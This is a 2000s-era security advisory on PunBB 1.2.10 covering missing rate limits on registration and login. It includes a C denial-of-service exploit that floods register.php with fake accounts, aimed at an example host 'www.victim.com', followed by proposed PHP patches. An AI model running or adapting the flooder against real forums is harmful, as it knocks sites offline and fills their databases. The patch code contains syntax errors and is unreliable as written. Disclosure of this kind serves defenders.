/* --------------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST]® PunBB 1.2.10 Multiple DoS Vulnerabilities --------------------------------------------------------------- Program : PunBB 1.2.10 Homepage: http://www.punbb.org Vulnerable Versions: PunBB 1.2.10 & lower ones Risk: Critical! Impact: Denial of service by registering too many users (Critical) Possible bruteforce attack to login (Low) -> PunBB 1.2.10 Multiple DoS Vulnerabilites <- --------------------------------------------------------------- - Description --------------------------------------------------------------- In short, PunBB is a fast and lightweight PHP powered discussion board. It is released under the GNU Public License. Its primary goal is to be a faster, smaller and less graphic alternative to otherwise excellent discussion boards such as phpBB, Invision Power Board or vBulletin. PunBB has fewer features than many other discussion boards, but is generally faster and outputs smaller pages. - Tested --------------------------------------------------------------- Tested in localhost & many forums - Bug --------------------------------------------------------------- 1- [ Denial of service ] When the register query happens, the script doesn't check if the IP had registered another user before shortly. This bug can lead to some 'nasty' consecuences: - No more space in database. - A parsing efficiency penalty. - A headache for the admin trying to eliminate the users. - Server undefined time out of service (Denial of service) Here is the code: $now = time(); $intial_group_id = ($pun_config['o_regs_verify'] == '0') ? $pun_config['o_default_user_group'] : PUN_UNVERIFIED; $password_hash = pun_hash($password1); // Add the user $db->query('INSERT INTO '.$db->prefix.'users (username, group_id, password, email, email_setting, save_pass, timezone, language, style, registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\', '.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.', '.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \' '.$pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address().'\', '.$now.')') or error('Unable to create user', __FILE__, __LINE__, $db->error()); $new_uid = $db->insert_id(); // If we previously found out that the e-mail was banned if ($banned_email && $pun_config['o_mailing_list'] != '') { $mail_subject = 'Alert - Banned e-mail detected'; $mail_message = 'User \''.$username.'\' registered with banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config ['o_base_url'].'/profile.php?id='.$new_uid."\n\n".'-- '."\n". 'Forum Mailer'."\n".'(Do not reply to this message)'; pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message); } Before this code, there is no other query that checks against database flooding. 2- [ Possible bruteforce attack method to login ] Maybe you think this kind of bugs are not bugs, but unfortunately nowadays there're so many pepole that practise this kind of attacks. When a user registers, the forum say that the password should be at least 4 bytes long, if we think a bit, cracking a 4 bytes long password (maybe alphanumeric, because I'm sure that 90% of passwords are like that) it would take some time depending of your connection and the server lactancy, but it's possible. Actually, the server will suffer an efficency penalty, however this bug it's considered as a `Low risk' bug. Similar to the above bug, the script doesn't check if the IP has requested too many times to login without success. An attacker (lame..xD) can make a bruteforce attack to guess the password of any user he/she wants to. login.php: if (isset($_POST['form_sent']) && $action == 'in') { $form_username = trim($_POST['req_username']); $form_password = trim($_POST['req_password']); $username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\' '.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''. $db->escape($form_username).'\')'; $result = $db->query('SELECT id, group_id, password, save_pass FROM '. $db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch user info', __FILE__, __LINE__, $db->error()); list($user_id, $group_id, $db_password_hash, $save_pass) = $db->fetch_row($result); $authorized = false; if (!empty($db_password_hash)) { $sha1_in_db = (strlen($db_password_hash) == 40) ? true : false; $sha1_available = (function_exists('sha1') || function_exists('mhash')) ? true : false; $form_password_hash = pun_hash($form_password); // This could result in either an SHA-1 or an MD5 hash (depends on $sha1_available) if ($sha1_in_db && $sha1_available && $db_password_hash == $form_password_hash) $authorized = true; else if (!$sha1_in_db && $db_password_hash == md5($form_password)) { - Exploit --------------------------------------------------------------- [1] - Denial of service Be considered and don't abuse of this kind of attacks. The code has been modified, change whatever you think necessary to make it work. ;) /* Name: NST-Exploit Punbb 2.0.10 Denial Of Service Copyright: NeoSecurity Author: K4P0 [./]NST-XplPunbb www.victim.com 2.0.0.6 /punbb/ ################################################# PunBB 2.0.10 Denial of Service exploit by K4P0 Use only at your own reputation risk! ;) www.NeoSecurityTeam.net ################################################# [1] - Trying if connection is possible... [2] - Connected! [3] - Flooding localhost... Use it at your own risk!. */ #define WINDOWS //#define LINUX #include #include #include #ifdef WINDOWS #include #include // Link to (lib)ws2_32.a #else #include #include #include #endif #define NST_ALIVE 0 int Connect(char*); void SendPack(int, int, char*, char*); void _perror(char*); void HowTo(char*); int main(int argc, char* argv[]) { int vict_sock, dos = 0; puts("#################################################"); puts(" PunBB 2.0.10 Denial of Service exploit by K4P0 "); puts(" Use only at your own reputation risk! ;) \n"); puts(" www.NeoSecurityTeam.net "); if(argc < 4) HowTo(argv[0]); puts("#################################################\n"); printf("[1] - Trying if connection is possible...\n", argv[1]); fflush(stdout); vict_sock = Connect(argv[2]); printf("[2] - Connected!\n"); printf("[3] - Flooding %s", argv[1]); #ifdef WINDOWS closesocket(vict_sock); #else close(vict_sock); #endif while(NST_ALIVE) { if(!(dos % 10)) fprintf(stderr, "."); vict_sock = Connect(argv[2]); SendPack(vict_sock, dos, argv[3], argv[1]); dos++; #ifdef WINDOWS closesocket(vict_sock); WSACleanup(); #else close(vict_sock); #endif } return 0; } // I'm to lazy to use gethostby(addr|name) :) int Connect(char* IP) { struct sockaddr_in *_addr; int vict_sck; #ifdef WINDOWS WSADATA wsaData; if(WSAStartup(MAKEWORD(1, 1), &wsaData) < 0) { //WSAGetLastError()? Nah... fprintf(stderr, "[*] WSAStartup() failed"); exit(-1); } #endif if(!(_addr=(struct sockaddr_in *)malloc(sizeof(struct sockaddr_in)))) { fprintf(stderr, "[*] Unable to reserve memory"); exit(-1); } memset(_addr, 0x0, sizeof(struct sockaddr_in)); _addr->sin_family = AF_INET; _addr->sin_port = htons(80); _addr->sin_addr.s_addr = inet_addr(IP); #ifdef WINDOWS if((vict_sck = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) { fprintf(stderr, "WSASocket() failed"); exit(-1); } else if((vict_sck = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) _perror("socket() "); #endif if(connect(vict_sck, (struct sockaddr *)_addr, sizeof(struct sockaddr)) < 0) _perror("connect() "); free(_addr); return vict_sck; } void SendPack(int v_sck, int var, char* path, char* DNS) { char *HTTP_PACK, *HTTP_MPCK, *HTTP_POST; if(!(HTTP_PACK = (char *)malloc(2048)) || !(HTTP_MPCK = (char *)malloc(1024)) || !(HTTP_POST = (char *)malloc(512))) { fprintf(stderr, "Error trying to reserver memory"); exit(-1); } sprintf(HTTP_PACK, "POST %sregister.php?action=register HTTP/1.1\n" "Host: %s\n" "User-Agent: Mozilla/5.0 Gecko/20050511 Firefox/1.0.4\n" "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" "Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3\n" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" "Keep-Alive: 300\n" "Proxy-Connection: keep-alive\n" "Referer: http://%s%sregister.php\n" "Content-Type: application/x-www-form-urlencoded\n", path, DNS, DNS, path); sprintf(HTTP_POST, "form_sent=1&req_username=%d__NsT&req_password1=flood&req_password2=flood&" "req_email1=%d_peace@NsT.net&timezone=-10&email_setting=1", var, var); sprintf(HTTP_MPCK, "Content-Length: %d\n\n", strlen(HTTP_POST)); strcat(HTTP_PACK, HTTP_MPCK); strcat(HTTP_PACK, HTTP_POST); send(v_sck, HTTP_PACK, strlen(HTTP_PACK), 0); free(HTTP_PACK); free(HTTP_MPCK); free(HTTP_POST); return; } void _perror(char* msg) { perror(msg); fflush(stdout); exit(-1); } void HowTo(char* program) { fprintf(stderr, "%s \n", program); fprintf(stderr, "f.e: ./NsT-XplPunbb www.victim.com 2.0.0.6 /punbb/\n"); fprintf(stderr, "#################################################"); exit(0); } // EOF [2] - Possible brufeforce attack to login NST will not release any code to exploit this bug. - Solutions --------------------------------------------------------------- 1- [ Denial Of Service ] A very simple fix should be implemented: $now = time(); $intial_group_id = ($pun_config['o_regs_verify'] == '0') ? $pun_config['o_default_user_group'] : PUN_UNVERIFIED; $password_hash = pun_hash($password1); // NeoSecurityTeam PunBB 1.2.10 DoS Patch by K4P0 $reglimit = $now - 60*5; // Lets wait for 5 minutes. $SQL_Anti_Flood = 'SELECT * FROM '.db->prefix.'users WHERE registration_ip =\''.get_remote_address().'\' AND registered>\''.$reglimit'\''; $checkflood = mysql_num_rows(mysql_query($SQL_Anti_Flood)); if($checkflood > 0) error('Please wait some minutes to register again', 'register.php', '', ''); // IP doesn't try to flood our forum, insert user safely. :) // Add the user $db->query('INSERT INTO '.$db->prefix.'users (username, group_id, password, email, email_setting, save_pass, timezone, language, style, registered, registration_ip, last_visit) VALUES(\''.$db->escape($username).'\', '.$intial_group_id.', \''.$password_hash.'\', \''.$email1.'\', '.$email_setting.', '.$save_pass.', '.$timezone.' , \''.$db->escape($language).'\', \''. $pun_config['o_default_style'].'\', '.$now.', \''.get_remote_address(). '\', '.$now.')') or error('Unable to create user', __FILE__, __LINE__, $db->error()); $new_uid = $db->insert_id(); // If we previously found out that the e-mail was banned if ($banned_email && $pun_config['o_mailing_list'] != '') { $mail_subject = 'Alert - Banned e-mail detected'; $mail_message = 'User \''.$username.'\' registered with banned e-mail address: '.$email1."\n\n".'User profile: '.$pun_config 'o_base_url']. '/profile.php?id='.$new_uid."\n\n".'-- '."\n".'Forum Mailer'."\n". '(Do not reply to this message)'; pun_mail($pun_config['o_mailing_list'], $mail_subject, $mail_message); } 2- [ Possible bruteforce attack method to login ] - Implement a similar code that you can see above. - Set password of 5 or more characters. Ok, the 'logical' solution it's the second because nobody can be so stupid to try to crack a 5 bytes length password remotely! but the `right' one it's the first. Here you can see a possible fix: Note: This method needs a new table called ($db->prefix)iptrylog wich contains when has a IP last try to login unsucecssfully. Patch Part I : Check if IP is trying to flood. Patch Part II : If the IP has logged successfully, delete it from the iptrylog table. Patch Part III: If the IP has logged unsuccessfully, insert it in the iptrylog table. if (isset($_POST['form_sent']) && $action == 'in') { $form_username = trim($_POST['req_username']); $form_password = trim($_POST['req_password']); $username_sql = ($db_type == 'mysql' || $db_type == 'mysqli') ? 'username=\' '.$db->escape($form_username).'\'' : 'LOWER(username)=LOWER(\''.$db->escape ($form_username).'\')'; // NeoSecurityTeam PunBB 1.2.10 Bruteforce login Patch by K4P0 (Part 1/3) $logintime = time() - 10; // 10 seconds delay. $SQLoginCheck = 'SELECT * FROM '.db->prefix.'iptrylog WHERE ip=\' '.getremoteaddress().'\' and lastry>=\''.$logintime.'\''; $check = mysql_num_rows(mysql_query($SQLoginCheck)); if($check > 0) error('Please wait some minutes to login again', 'login.php', '', ''); // End of part 1 of patch, see below $result = $db->query('SELECT id, group_id, password, save_pass FROM '.$db->prefix.'users WHERE '.$username_sql) or error('Unable to fetch user info', __FILE__, __LINE__, $db->error()); list($user_id, $group_id, $db_password_hash, $save_pass) = $db->fetch_row($result); $authorized = false; if (!empty($db_password_hash)) { $sha1_in_db = (strlen($db_password_hash) == 40) ? true : false; $sha1_available = (function_exists('sha1') || function_exists('mhash')) ? true : false; $form_password_hash = pun_hash($form_password); // This could result in either an SHA-1 or an MD5 hash (depends on $sha1_available) if ($sha1_in_db && $sha1_available && $db_password_hash == $form_password_hash) $authorized = true; else if (!$sha1_in_db && $db_password_hash == md5($form_password)) { $authorized = true; // NeoSecurityTeam PunBB 1.2.10 Login Patch by K4P0 (Part 2/3) @mysql_query('DELETE FROM '.db->prefix.'iptrylog.' WHERE ip=\' '.getremoteaddress().'\''); // End of Part 2. if ($sha1_available) // There's an MD5 hash in the database, but SHA1 hashing is available, so we update the DB $db->query('UPDATE '.$db->prefix.'users SET password=\' '.$form_password_hash.'\' WHERE id='.$user_id) or error ('Unable to update user password', __FILE__, __LINE__, $db->error()); } } if (!$authorized) { // NeoSecurityTeam PunBB 1.2.10 login Patch by K4P0 (Part 3/3) @mysql_query('INSERT INTO '.db->prefix.'iptrylog (ip, lastry) VALUES (\''.getremoteaddress().'\', \''.$logintime+10.'\')'); message($lang_login['Wrong user/pass'].' '.$lang_login['Forgotten pass'].''); } - References --------------------------------------------------------------- http://www.neosecurityteam.net/advisories/Advisory-16.txt - Credits -------------------------------------------------------------- Discovered by K4P0 -> k4p0k4p0[at]hotmail[dot]com [N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/ Irc.InfoGroup.cl #neosecurityteam - Greets --------------------------------------------------------------- Paisterist HaCkZaTaN Link Daemon21 erg0t NST Comunity! @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@@@@'''''@@@'''' '@@'''@@@@'''''''''@@@''''@@@'''' @@@@''''@@'@@@@@@@@@@''''@@@@@''' */